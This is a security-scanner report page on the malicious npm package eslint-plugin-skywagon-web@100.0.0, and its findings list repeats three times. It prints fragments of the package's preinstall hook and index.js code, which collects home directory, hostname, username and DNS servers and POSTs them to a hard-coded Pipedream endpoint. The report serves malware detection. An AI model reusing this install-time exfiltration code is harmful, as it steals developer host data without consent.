eslint-plugin-skywagon-web@100.0.0: Malicious npm security report

Loading npm security reports…

eslint-plugin-skywagon-web@100.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "node index.js" }, "keywords": [], "

High

Ai Review Evidence

The package runs index.js automatically during preinstall.

package.jsonView on unpkg · L8

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const querystring = require("querystring"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const package = packageJSON.name; ... L9: p: package, L10: c: __dirname, L11: hd: os.homedir(), L12: hn: os.hostname(), L13: un: os.userInfo().username, ... L36: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ var postData = querystring.stringify({ method: "POST", "Content-Length": postData.length, var req = https.request(options, (res) => { process.stdout.write(d); req.write(postData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @avigilon/node-webrtc@2.1.4 matchedPath = index.js matchedIdentity = npm:QGF2aWdpbG9uL25vZGUtd2VicnRj:2.1.4 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

8const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefin

High

Ai Review Evidence

The install script collects the user home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

24var options = { hostname: "eo1blcdjptwydyq.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Le

High

Ai Review Evidence

It posts the collected data to a hard-coded Pipedream endpoint.

index.jsView on unpkg · L24

41req.on("error", (e) => { // console.error(e); }); req.write(postData); req.end();

High

Ai Review Evidence

The request body is transmitted and ended by the script.

index.jsView on unpkg · L41

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "node index.js" }, "keywords": [], "

High

Ai Review Evidence

The package runs index.js automatically during preinstall.

package.jsonView on unpkg · L8

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

High

Ai Review Evidence

The install script collects the user home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

High

Ai Review Evidence

It posts the collected data to a hard-coded Pipedream endpoint.

index.jsView on unpkg · L24

41req.on("error", (e) => { // console.error(e); }); req.write(postData); req.end();

High

Ai Review Evidence

The request body is transmitted and ended by the script.

index.jsView on unpkg · L41

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "node index.js" }, "keywords": [], "

High

Ai Review Evidence

The package runs index.js automatically during preinstall.

package.jsonView on unpkg · L8

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

High

Ai Review Evidence

The install script collects the user home directory, hostname, username, DNS servers, and package metadata.

index.jsView on unpkg · L8

High

Ai Review Evidence

It posts the collected data to a hard-coded Pipedream endpoint.

index.jsView on unpkg · L24

41req.on("error", (e) => { // console.error(e); }); req.write(postData); req.end();

High

Ai Review Evidence

The request body is transmitted and ended by the script.

index.jsView on unpkg · L41

eslint-plugin-skywagon-web@100.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code